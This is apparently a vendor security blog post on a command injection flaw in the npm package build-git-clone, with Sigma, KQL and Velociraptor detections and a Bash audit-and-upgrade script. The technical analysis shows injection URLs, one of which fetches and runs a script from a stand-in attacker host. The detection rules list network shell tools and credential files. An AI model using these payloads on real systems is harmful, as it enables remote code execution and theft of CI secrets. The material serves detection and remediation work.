Back to Intelligence

CVE-2026-137090: Critical OS Command Injection in Node.js build-git-clone — Detection and Remediation Guide

SA
Security Arsenal Team
November 28, 2026
14 min read

On the surface, CVE-2026-137090 looks like a routine npm package bug. It is not. NVD has published this vulnerability with a CVSS 9.8 (CRITICAL), rated network-exploitable with no authentication and no user interaction required, affecting build-git-clone — a Node.js utility package whose entire purpose is to programmatically clone git repositories inside build pipelines and application code. Versions before 1.0.4 contain a textbook OS command injection flaw in the clone() function: attacker-supplied input in the url argument is concatenated directly into a sh -c command string. An attacker who can influence that URL — through a web form, an API parameter, a CI/CD variable, a webhook payload, or a dependency manifest — achieves arbitrary operating system command execution with the privileges of the Node.js process.

In my experience leading IR engagements against supply-chain compromises, this exact pattern — a developer convenience library that shells out to the OS with unsanitized input — is one of the most reliably exploited classes of flaws we see. The blast radius is deceptive: the vulnerable package may be buried three layers deep in your dependency tree, invoked by an internal build service or a SaaS-facing API endpoint you forgot existed. If your organization runs Node.js build tooling, self-hosted CI/CD runners, or any service that accepts a repository URL from an external party, treat this as an urgent patch-and-hunt event.

This post breaks down the vulnerability, provides deployable Sigma, KQL, and Velociraptor detections tuned to the specific exploitation mechanics, and gives you a remediation script you can run across your fleet today.

Technical Analysis

Affected Component and Versions

AttributeDetail
CVECVE-2026-137090
CVSS v3.x Score9.8 (Critical)
Attack VectorNetwork (AV:N)
Affected Packagebuild-git-clone (npm)
Affected VersionsAll versions < 1.0.4
Fixed Version1.0.4 and later
Vulnerable Functionclone()
Weakness ClassCWE-78 — OS Command Injection
Referencehttps://nvd.nist.gov/vuln/detail/CVE-2026-137090

How the Vulnerability Works

The build-git-clone package exposes a clone() function intended to wrap git clone for Node.js build scripts. The implementation flaw is the classic and unforgivable one: the url argument is string-concatenated into a shell command executed via sh -c, rather than being passed as a discrete argument to a spawned git process with the shell bypassed.

Conceptually, the vulnerable code path behaves like this:

Bash / Shell
# What the library effectively executes under the hood:
sh -c "git clone <user-controlled-url> <destination>"

Because the URL is interpolated into the command string before the shell parses it, any shell metacharacters in the URL break out of the intended argument context and are interpreted as command syntax. The two breakout primitives called out in the NVD record are the ones every red teamer reaches for first:

  • Command separator (;) — https://git.example.com/repo.git; id; # terminates the git clone statement and executes id as a separate command.
  • Command substitution ($()) — https://git.example.com/$(curl evil.example/x.sh|sh).git executes the embedded command and substitutes its output into the string before the primary command even runs.

Backticks (`) provide an equivalent substitution primitive, and pipes (|), backgrounding (&), and redirection operators (>, >>) round out the attacker's toolkit. Critically, the injected commands execute with the full privileges of the Node.js process. On a CI/CD runner, that process frequently holds cloud credentials, artifact-signing keys, deployment tokens, and network access to internal registries — which is precisely why this class of bug is a supply-chain force multiplier rather than a simple RCE.

Exploitation Requirements and Attack Chain

From a defender's perspective, the kill chain looks like this:

  1. Delivery — The attacker identifies an input path that flows into clone(): a "deploy from repo" web form, a REST API endpoint, a CI pipeline triggered by a pull request, a chat-bot integration, or a webhook handler that clones on demand.
  2. Injection — The crafted URL containing ;, $(), or backticks is submitted.
  3. Execution — Node.js spawns sh -c with the poisoned string; the shell executes the attacker's commands as the Node.js service account.
  4. Post-exploitation — Typical follow-on behavior we should expect and hunt for: the Node.js process (or its sh child) spawning reconnaissance commands (id, whoami, env, uname -a), establishing egress (curl, wget to attacker infrastructure), pulling second-stage payloads, or reading credential material (~/.aws/credentials, environment variables, .npmrc, CI secrets).

The network-exploitability rating deserves emphasis: any HTTP-facing service that passes user-controlled data into this function is remotely exploitable with a single crafted request. No local foothold is required.

Exploitation Status

As of publication, CVE-2026-137090 has been published to NVD with the full technical mechanism described in the record. There is no confirmed entry in the CISA Known Exploited Vulnerabilities (KEV) catalog at this time, and I am not aware of confirmed mass exploitation in the wild. However, the exploitation primitive is trivially simple — shell metacharacters in a URL field require no exploit development skill whatsoever — and the vulnerable package is a build-tooling dependency, a class of target that threat actors actively scan for. Treat "no confirmed exploitation" as a fleeting condition, not a comfort. Given the 9.8 severity and the low skill floor, operate on the assumption that scanning for exposed clone endpoints will begin immediately, if it hasn't already.

Detection & Response

The detections below are built around the two strongest observable artifacts of this vulnerability: (1) a Node.js process spawning a shell with command-injection metacharacters, and (2) a Node.js process spawning anomalous child processes consistent with post-exploitation behavior. Both are high-fidelity in most environments because legitimate Node.js applications rarely spawn interactive shells or system binaries directly.

Sigma Rules

YAML
---
title: Node.js Spawning Shell with Command Injection Metacharacters
id: 3f8a1c72-6b4e-4d91-a2c7-9e5f0b8d3a41
status: experimental
description: Detects a Node.js process spawning sh/bash with command separators or substitution syntax in the command line, consistent with exploitation of CVE-2026-137090 (OS command injection in build-git-clone clone() function via crafted git repository URLs).
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-137090
  - https://attack.mitre.org/techniques/T1059/004/
author: Security Arsenal
date: 2026/06/15
tags:
  - attack.execution
  - attack.t1059.004
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentImage|endswith:
      - '/node'
      - '/nodejs'
  selection_shell:
    Image|endswith:
      - '/sh'
      - '/bash'
      - '/dash'
      - '/zsh'
  selection_injection:
    CommandLine|contains:
      - ';'
      - '$('
      - '`'
      - '|sh'
      - '| sh'
      - '|bash'
      - '| bash'
  condition: selection_parent and selection_shell and selection_injection
falsepositives:
  - Node.js build scripts that legitimately chain shell commands (review and baseline per pipeline)
  - Development workstations running ad-hoc npm scripts
level: high
---
title: Node.js Process Spawning Suspicious Post-Exploitation Utilities
id: 8c2d5e91-4a7f-4b3c-9d16-7e0a2f5b8c39
status: experimental
description: Detects Node.js or its shell children spawning reconnaissance, download, or tunneling utilities — typical post-exploitation behavior following OS command injection such as CVE-2026-137090 in build-git-clone.
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-137090
  - https://attack.mitre.org/techniques/T1105/
  - https://attack.mitre.org/techniques/T1059/
author: Security Arsenal
date: 2026/06/15
tags:
  - attack.execution
  - attack.command_and_control
  - attack.t1105
  - attack.t1059
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentImage|endswith:
      - '/node'
      - '/nodejs'
      - '/sh'
      - '/bash'
  selection_parentchain:
    ParentCommandLine|contains:
      - 'node'
      - 'build-git-clone'
      - 'git clone'
  selection_tool:
    Image|endswith:
      - '/curl'
      - '/wget'
      - '/nc'
      - '/ncat'
      - '/netcat'
      - '/socat'
      - '/python'
      - '/python3'
      - '/perl'
      - '/base64'
      - '/id'
      - '/whoami'
      - '/env'
  condition: (selection_parent or selection_parentchain) and selection_tool
falsepositives:
  - Node.js applications that legitimately shell out to curl/wget for health checks or artifact downloads
  - CI/CD pipelines with scripted reconnaissance or install steps
level: medium

A note on tuning before you deploy: the first rule is the higher-fidelity of the two. In a mature environment, Node.js spawning sh -c with $() or ; in the command line should be exceptionally rare outside of developer workstations and CI runners — scope your initial deployment to production application servers and internet-facing build services, baseline the CI runners separately, and escalate any hit on a production host to your IR queue immediately.

KQL — Microsoft Sentinel / Defender

This query hunts the same behaviors across DeviceProcessEvents (for MDE-onboarded Linux/Windows endpoints) and Syslog (for Linux hosts forwarding via the Azure Monitor Agent). The git clone command-line match catches the injection string itself — a crafted URL carrying metacharacters will appear verbatim in process telemetry, which is a gift for defenders.

KQL — Microsoft Sentinel / Defender
let injectionChars = dynamic([";", "$(", "`", "|sh", "| sh", "|bash", "| bash"]);
let suspectTools = dynamic(["curl", "wget", "nc", "ncat", "socat", "python", "python3", "perl", "base64", "whoami", "id", "env", "uname"]);
union isfuzzy=true
    (DeviceProcessEvents
    | where TimeGenerated > ago(7d)
    | where InitiatingProcessFileName has_any ("node", "nodejs")
       or InitiatingProcessCommandLine has_any ("node", "build-git-clone", "git clone")
    | where FileName has_any (suspectTools)
       or (FileName in~ ("sh", "bash", "dash", "zsh") and ProcessCommandLine has_any (injectionChars))
       or (ProcessCommandLine has "git clone" and ProcessCommandLine has_any (injectionChars))
    | project TimeGenerated, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName, ReportId),
    (Syslog
    | where TimeGenerated > ago(7d)
    | where ProcessName has_any ("sh", "bash", "node")
    | where SyslogMessage has "git clone" and SyslogMessage has_any (injectionChars)
    | project TimeGenerated, Computer, ProcessName, SyslogMessage, HostIP)
| order by TimeGenerated desc

Run this over at least a 7-day lookback on first deployment — command injection flaws of this simplicity are often probed before public disclosure, and you want to know whether someone found your endpoint before the CVE did. Any hit pairing git clone with $( or ; in the same command line should be treated as a confirmed incident until proven otherwise.

Velociraptor VQL

For live-fleet hunting, this artifact identifies running or recently executed Node.js processes whose command lines (or whose children's command lines) contain injection metacharacters or git clone invocations — useful for sweeping build servers and application hosts during triage.

VQL — Velociraptor
-- CVE-2026-137090 hunt: Node.js processes with shell injection artifacts
-- Targets build-git-clone exploitation: node spawning sh -c with metacharacters,
-- or git clone command lines containing injected shell syntax.

LET suspicious = pslist()
WHERE CommandLine =~ '(?i)git clone.*(;|\\$\\(|`|\\|\\s*(ba)?sh)'
   OR (Name =~ '(?i)^node' AND CommandLine =~ '(;|\\$\\(|`|\\|\\s*(ba)?sh)')

SELECT Pid,
       Ppid,
       Name,
       Exe,
       CommandLine,
       Username,
       CreateTime
FROM suspicious

Pair this with a follow-up artifact that enumerates node_modules directories for vulnerable build-git-clone versions — the glob approach below identifies every installed copy across the host so you can size exposure before patch deployment:

VQL — Velociraptor
-- Enumerate installed build-git-clone versions across node_modules trees
SELECT FullPath,
       Mtime,
       Size
FROM glob(globs='/**/node_modules/build-git-clone/package.json')

Pull the package.json contents with read_file() in a second pass and parse the version field; anything below 1.0.4 is a remediation target.

Remediation and Verification Script

The following Bash script audits a Linux host (build server, application container host, or CI runner) for vulnerable build-git-clone installs, flags suspicious Node.js child processes from syslog/journald, and upgrades the package where found. Run it via your configuration management of choice across the Node.js fleet.

Bash / Shell
#!/usr/bin/env bash
# CVE-2026-137090 — build-git-clone OS Command Injection audit & remediation
# Run as root or with sudo. Safe to run repeatedly (idempotent checks).

set -euo pipefail
FIXED_VERSION="1.0.4"
REPORT="/var/log/cve-2026-137090-audit.log"
exec > >(tee -a "$REPORT") 2>&1

echo "=== CVE-2026-137090 Audit: $(hostname) — $(date -u) ==="

# --- 1. Locate every installed copy of build-git-clone ---
echo "[*] Scanning for build-git-clone installations..."
FOUND=0
while IFS= read -r pkg; do
  FOUND=1
  VER=$(grep -oP '"version"\\s*:\\s*"\\K[0-9.]+' "$pkg" | head -1)
  DIR=$(dirname "$pkg")
  echo "    Found: $DIR (version $VER)"
  if [ -n "$VER" ] && [ "$(printf '%s\\n%s' "$VER" "$FIXED_VERSION" | sort -V | head -1)" != "$FIXED_VERSION" ]; then
    echo "    [VULNERABLE] $VER < $FIXED_VERSION — upgrading in $DIR"
    PROJECT_ROOT=$(echo "$DIR" | sed 's#/node_modules/build-git-clone##')
    ( cd "$PROJECT_ROOT" && npm install build-git-clone@latest --save && npm audit fix ) \
      && echo "    [REMEDIATED] upgraded in $PROJECT_ROOT" \
      || echo "    [ERROR] npm upgrade failed in $PROJECT_ROOT — manual fix required"
  else
    echo "    [OK] version $VER is patched (>= $FIXED_VERSION)"
  fi
done < <(find / -type f -path '*/node_modules/build-git-clone/package.json' 2>/dev/null)
[ "$FOUND" -eq 0 ] && echo "    No local build-git-clone installs found."

# --- 2. Audit lockfiles in common repo locations for pinned vulnerable versions ---
echo "[*] Checking package-lock.json / yarn.lock / pnpm-lock.yaml for vulnerable pins..."
for root in /srv /opt /var/www /home; do
  [ -d "$root" ] || continue
  grep -rl 'build-git-clone' "$root" --include='package-lock.json' --include='yarn.lock' --include='pnpm-lock.yaml' 2>/dev/null | while read -r lock; do
    if grep -qP 'build-git-clone.*"?(0\.|1\.0\.[0-3])' "$lock"; then
      echo "    [VULNERABLE LOCKFILE] $lock pins build-git-clone < 1.0.4 — update and redeploy"
    fi
  done
done

# --- 3. Hunt recent logs for injection evidence ---
echo "[*] Hunting logs for exploitation indicators (git clone + shell metacharacters)..."
if command -v journalctl >/dev/null 2>&1; then
  journalctl --since "14 days ago" --no-pager 2>/dev/null \
    | grep -E 'git clone' | grep -E '(;|\\$\\(|`|\\|[[:space:]]*(ba)?sh)' \
    | head -50 && echo "    [!] Review the above — possible exploitation attempts" || echo "    No journald hits."
fi
grep -E 'git clone' /var/log/syslog /var/log/messages 2>/dev/null \
  | grep -E '(;|\\$\\(|`|\\|[[:space:]]*(ba)?sh)' | head -50 \
  && echo "    [!] Review the above — possible exploitation attempts" || echo "    No syslog hits."

echo "=== Audit complete. Report: $REPORT ==="

Two operational notes on the script: the find across / is I/O-heavy, so schedule it off-hours on build servers with large filesystems, or scope it to your known application roots. And the npm upgrade in place is a stopgap for build tooling — for application code, the correct path is updating the dependency in source control, running npm audit, and redeploying through your normal pipeline so the fix is durable.

Remediation

1. Patch immediately — upgrade build-git-clone to 1.0.4 or later. This is the definitive fix. Run npm ls build-git-clone in every project and check transitive dependencies — the package may be pulled in by a build wrapper rather than declared directly. Pin the floor in your manifests ("build-git-clone": ">=1.0.4") and regenerate lockfiles.

2. Inventory your exposure before you patch. The most dangerous installs are the ones you don't know about: internal build services, developer tooling containers, self-hosted CI/CD runners (GitHub Actions runners, GitLab Runners, Jenkins agents), and any SaaS-adjacent service that accepts repository URLs. Use the Velociraptor artifact and the Bash script above to enumerate installs fleet-wide. Check container images too — a vulnerable base image rebuilds the vulnerability into every deployment.

3. Until patching completes, apply compensating controls:

  • Input validation at the trust boundary. Any user-supplied repository URL should be validated against a strict allowlist pattern before it reaches clone() — scheme-restrict to https:// and git@, reject any string containing shell metacharacters (;, &, |, `, $, <, >, whitespace-embedded payloads), and ideally restrict to known-good host allowlists (your GitHub org, your internal GitLab).
  • Sandbox the execution context. Node.js processes that perform clones should run as a dedicated low-privilege service account, in a container or bubblewrap/firejail sandbox, with no cloud instance metadata access (block 169.254.169.254), no mounted credential files, and egress restricted to required git endpoints only.
  • Strip CI/CD secrets from clone contexts. If a build step only clones code, it should not hold deployment credentials, signing keys, or registry tokens. Scope secrets to the steps that need them.

4. Hunt retrospectively. Because the exploitation primitive is trivial and the vulnerable function has been shipping in the dependency tree, run the KQL query and log-grep logic above across at least 14–30 days of retained telemetry. A git clone command line containing $( or ; on any production host is an incident, full stop.

5. Monitor for KEV addition and exploit maturity. Track the NVD record (https://nvd.nist.gov/vuln/detail/CVE-2026-137090) and the CISA KEV catalog. If exploitation is confirmed in the wild, this moves from "urgent patch cycle" to "emergency change" — and given the network-exploitable 9.8 rating, I would set your internal SLA accordingly now rather than waiting for the KEV listing to force the issue.

6. Address the root cause class, not just this CVE. OS command injection in npm utility packages is a recurring supply-chain pattern. Add a rule to your secure-code-review checklist and your SAST pipeline (Semgrep's javascript.lang.security.detect-child-process and related rulesets catch this well) flagging any string concatenation into child_process.exec() / sh -c calls. Prefer execFile/spawn with argument arrays — no shell, no injection surface. One afternoon of pipeline tuning prevents the next CVE-2026-137090 from being your incident.

The bottom line: a CVSS 9.8, network-reachable, no-skill-required command injection in build tooling is exactly the kind of vulnerability that gets quietly exploited in CI/CD environments where logging is thin and credentials are fat. Patch to 1.0.4 today, hunt for the injection artifacts, and harden the trust boundary around anything that clones a repo on a stranger's say-so.

Related Resources

Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub

Is your security operations ready?

Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.